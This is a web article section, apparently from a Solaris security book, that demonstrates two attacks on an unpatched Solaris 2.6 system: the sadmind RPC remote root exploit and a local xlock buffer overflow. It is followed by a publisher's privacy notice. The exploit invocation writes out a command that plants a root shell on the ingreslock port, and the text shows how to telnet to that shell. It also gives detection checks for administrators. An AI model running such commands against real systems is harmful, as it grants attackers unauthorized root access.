Home > Articles > Operating Systems, Server > Solaris

  • Print
  • + Share This
Like this article? We recommend


In this section, we describe two different attack scenarios to demonstrate how easily a hacker can gain access to an unsecured system. These successful attacks simulate the following scenarios:

  • Attacks from the Internet

  • Attacks from employees

In both attack scenarios, after the hacker establishes a root account, the hacker wants to maintain access to the system and establish additional privileges to access the rest of the environment. We correlate the tools that the hacker uses to find vulnerabilities, gain access, and establish additional privileges.

For information about the tools and how to use them, please refer to the following sections:

  • "Tools"

  • "How to Use the Tools"

Attacks From the Internet

In this scenario, a hacker uses the Nessus vulnerability scanner to locate a system running Solaris 2.6 OE that has not been protected from the sadmind remote procedure call (RPC) service vulnerability. Let's see how the sadmind exploit works against the victim system.

After the hacker gains access, the hacker uses a rootkit to gain and maintain root access.

The header of the sadminindex.c program provides the following information on its usage:

sadmindex - SPARC Solaris remote root exploit for /usr/sbin/sadmind Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)

Usage: % sadmindex -h hostname -c command -s sp [-o offset] [-a alignment] [-p]

where hostname is the hostname of the machine running the vulnerable system administration daemon, command is the command to run as root on the vulnerable machine, sp is the %sp stack pointer value, offset is the number of bytes to add to sp to calculate the desired return address, and alignment is the number of bytes needed to correctly align the contents of the exploit buffer.

The author of the sadmindex program made things even easier by providing example stack pointer values. Some tinkering with the sp value was necessary in this example to get the exploit to work; however, it didn't take much trial and error because the next offset tried was 0xefff9588.

The hacker runs the exploit from a Solaris 8 OE system against the Solaris 2.6 OE system, with the following arguments:

# ./sadminsparc -h nfs -c "echo 'ingreslock stream tcp nowait
   root /bin/sh sh -i' 
>/tmp/.gotcha; /usr/sbin/inetd -s /tmp/.gotcha" -s 0xefff9596

The exploit produces the following output:

% sp 0xefff9596 offset 688 --> return address 0xefff9844 [4]
% sp 0xefff9596 with frame length 4808 --> %fp 0xefffa858
clnt_call: RPC: Timed out
now check if exploit worked; RPC failure was expected

As an administrator, if you want to try this exploit on your system, or if you want to determine if an attacker has tried this exploit on your system, run the following command to verify that the inetd process is running:

# ps -ef | grep inetd
 root 5806 1 1 22:59:38 ? 0:00 /usr/sbin/inetd -s /tmp/.x

Next, run the following command to determine if a service called ingreslock is listening:

# netstat -a | grep ingres
*.ingreslock *.* 0   0   0   0 LISTEN

A hacker establishes a Telnet connection to the port with the following command. Using this command provides the hacker a root shell prompt, which allows the hacker to infiltrate the system further by adding new accounts:

# telnet nfs ingreslock
Connected to nfs.
Escape character is '^]'.
# hostname

Attacks From Employees

In this scenario, an employee has user access privileges to the system, however, the employee is not authorized to have root access privileges. This scenario is very common. It usually occurs when accounts are left logged on and systems are insecure, thus providing an intruding employee the opportunity to perform unauthorized actions.

The ability of malicious internal users to gain additional privileges on Solaris OE systems is a very real security issue. Unfortunately, it is frequently overlooked or ignored by administrators and managers who say, "That could never happen here" or "We have to trust all of our employees." Serious security incidents occur in situations like these.

Most systems have different types of users. Authorized individuals are systems administrators, operators, database administrators, hardware technicians, and so forth. Each class of user has permissions and privileges defined by user ID and group IDs on the system. Most of these users do not have a root password or permission to use it.

What happens when an authorized user turns malicious or an intruder gains access to an authorized user's account through trusted relationships, poor password management, sessions left unlocked, and the like?

Once on a system, malicious users and intruders can use buffer overflow attacks to gain root privileges. For example, on August 10th, 2001, a buffer overflow against xlock was released. (The xlock executable is a utility for locking X-windows displays.) This utility is useful to attack because it is installed with the setuid root command, due to its need to authorize access to the display when it is locked.

A quick search through a few web sites provides the sample source code, which only has 131 lines of code. For this scenario, after compiling with the freeware GNU gcc compiler, the executable is placed on the test system ganassi. The following sequence demonstrates the exploit:

console login: noorder
Sun Microsystems Inc.  SunOS 5.6    Generic August 1997
ganassi% /usr/ucb/whoami
ganassi% ./sol_sparc_xlockex
shellcode address padding = 0
stack arguments len = 0x502(1282)
the padding zeros number = 2

Using RET address = 0xeffffb10
Using retloc = 0xefffe8c4
# /usr/ucb/whoami

Now that the attacker has root privileges on the system, it is easy to use a sniffer, install back doors, maintain and gain additional access privileges using rootkits, and perform tricks and subsequent attacks.

  • + Share This
  • 🔖 Save To Your Account

InformIT Promotional Mailings & Special Offers

I would like to receive exclusive offers and hear about products from InformIT and its family of brands. I can unsubscribe at any time.


Pearson Education, Inc., 221 River Street, Hoboken, New Jersey 07030, (Pearson) presents this site to provide information about products and services that can be purchased through this site.

This privacy notice provides an overview of our commitment to privacy and describes how we collect, protect, use and share personal information collected through this site. Please note that other Pearson websites and online products and services have their own separate privacy policies.

Collection and Use of Information

To conduct business and deliver products and services, Pearson collects and uses personal information in several ways in connection with this site, including:

Questions and Inquiries

For inquiries and questions, we collect the inquiry or question, together with name, contact details (email address, phone number and mailing address) and any other additional information voluntarily submitted to us through a Contact Us form or an email. We use this information to address the inquiry and respond to the question.

Online Store

For orders and purchases placed through our online store on this site, we collect order details, name, institution name and address (if applicable), email address, phone number, shipping and billing addresses, credit/debit card information, shipping options and any instructions. We use this information to complete transactions, fulfill orders, communicate with individuals placing orders or visiting the online store, and for related purposes.


Pearson may offer opportunities to provide feedback or participate in surveys, including surveys evaluating Pearson products, services or sites. Participation is voluntary. Pearson collects information requested in the survey questions and uses the information to evaluate, support, maintain and improve products, services or sites, develop new products and services, conduct educational research and for other purposes specified in the survey.

Contests and Drawings

Occasionally, we may sponsor a contest or drawing. Participation is optional. Pearson collects name, contact information and other information specified on the entry form for the contest or drawing to conduct the contest or drawing. Pearson may collect additional personal information from the winners of a contest or drawing in order to award the prize and for tax reporting purposes, as required by law.


If you have elected to receive email newsletters or promotional mailings and special offers but want to unsubscribe, simply email information@informit.com.

Service Announcements

On rare occasions it is necessary to send out a strictly service related announcement. For instance, if our service is temporarily suspended for maintenance we might send users an email. Generally, users may not opt-out of these communications, though they can deactivate their account information. However, these communications are not promotional in nature.

Customer Service

We communicate with users on a regular basis to provide requested services and in regard to issues relating to their account we reply via email or phone in accordance with the users' wishes when a user submits their information through our Contact Us form.

Other Collection and Use of Information

Application and System Logs

Pearson automatically collects log data to help ensure the delivery, availability and security of this site. Log data may include technical information about how a user or visitor connected to this site, such as browser type, type of computer/device, operating system, internet service provider and IP address. We use this information for support purposes and to monitor the health of the site, identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents and appropriately scale computing resources.

Web Analytics

Pearson may use third party web trend analytical services, including Google Analytics, to collect visitor information, such as IP addresses, browser types, referring pages, pages visited and time spent on a particular site. While these analytical services collect and report information on an anonymous basis, they may use cookies to gather web trend information. The information gathered may enable Pearson (but not the third party web trend services) to link information with application and system log data. Pearson uses this information for system administration and to identify problems, improve service, detect unauthorized access and fraudulent activity, prevent and respond to security incidents, appropriately scale computing resources and otherwise support and deliver this site and its services.

Cookies and Related Technologies

This site uses cookies and similar technologies to personalize content, measure traffic patterns, control security, track use and access of information on this site, and provide interest-based messages and advertising. Users can manage and block the use of cookies through their browser. Disabling or blocking certain cookies may limit the functionality of this site.

Do Not Track

This site currently does not respond to Do Not Track signals.


Pearson uses appropriate physical, administrative and technical security measures to protect personal information from unauthorized access, use and disclosure.


This site is not directed to children under the age of 13.


Pearson may send or direct marketing communications to users, provided that

  • Pearson will not use personal information collected or processed as a K-12 school service provider for the purpose of directed or targeted advertising.
  • Such marketing is consistent with applicable law and Pearson's legal obligations.
  • Pearson will not knowingly direct or send marketing communications to an individual who has expressed a preference not to receive marketing.
  • Where required by applicable law, express or implied consent to marketing exists and has not been withdrawn.

Pearson may provide personal information to a third party service provider on a restricted basis to provide marketing solely on behalf of Pearson or an affiliate or customer for whom Pearson is a service provider. Marketing preferences may be changed at any time.

Correcting/Updating Personal Information

If a user's personally identifiable information changes (such as your postal address or email address), we provide a way to correct or update that user's personal data provided to us. This can be done on the Account page. If a user no longer desires our service and desires to delete his or her account, please contact us at customer-service@informit.com and we will process the deletion of a user's account.


Users can always make an informed choice as to whether they should proceed with certain services offered by InformIT. If you choose to remove yourself from our mailing list(s) simply visit the following page and uncheck any communication you no longer want to receive: www.informit.com/u.aspx.

Sale of Personal Information

Pearson does not rent or sell personal information in exchange for any payment of money.

While Pearson does not sell personal information, as defined in Nevada law, Nevada residents may email a request for no sale of their personal information to NevadaDesignatedRequest@pearson.com.

Supplemental Privacy Statement for California Residents

California residents should read our Supplemental privacy statement for California residents in conjunction with this Privacy Notice. The Supplemental privacy statement for California residents explains Pearson's commitment to comply with California law and applies to personal information of California residents collected in connection with this site and the Services.

Sharing and Disclosure

Pearson may disclose personal information, as follows:

  • As required by law.
  • With the consent of the individual (or their parent, if the individual is a minor)
  • In response to a subpoena, court order or legal process, to the extent permitted or required by law
  • To protect the security and safety of individuals, data, assets and systems, consistent with applicable law
  • In connection the sale, joint venture or other transfer of some or all of its company or assets, subject to the provisions of this Privacy Notice
  • To investigate or address actual or suspected fraud or other illegal activities
  • To exercise its legal rights, including enforcement of the Terms of Use for this site or another contract
  • To affiliated Pearson companies and other companies and organizations who perform work for Pearson and are obligated to protect the privacy of personal information consistent with this Privacy Notice
  • To a school, organization, company or government agency, where Pearson collects or processes the personal information in a school setting or on behalf of such organization, company or government agency.


This web site contains links to other sites. Please be aware that we are not responsible for the privacy practices of such other sites. We encourage our users to be aware when they leave our site and to read the privacy statements of each and every web site that collects Personal Information. This privacy statement applies solely to information collected by this web site.

Requests and Contact

Please contact us about this Privacy Notice or if you have any requests or questions relating to the privacy of your personal information.

Changes to this Privacy Notice

We may revise this Privacy Notice through an updated posting. We will identify the effective date of the revision in the posting. Often, updates are made to provide greater clarity or to comply with changes in regulatory requirements. If the updates involve material changes to the collection, protection, use or disclosure of Personal Information, Pearson will provide notice of the change through a conspicuous notice on this site or other appropriate way. Continued use of the site after the effective date of a posted revision evidences acceptance. Please contact us if you have questions or concerns about the Privacy Notice or any objection to any revisions.

Last Update: November 17, 2020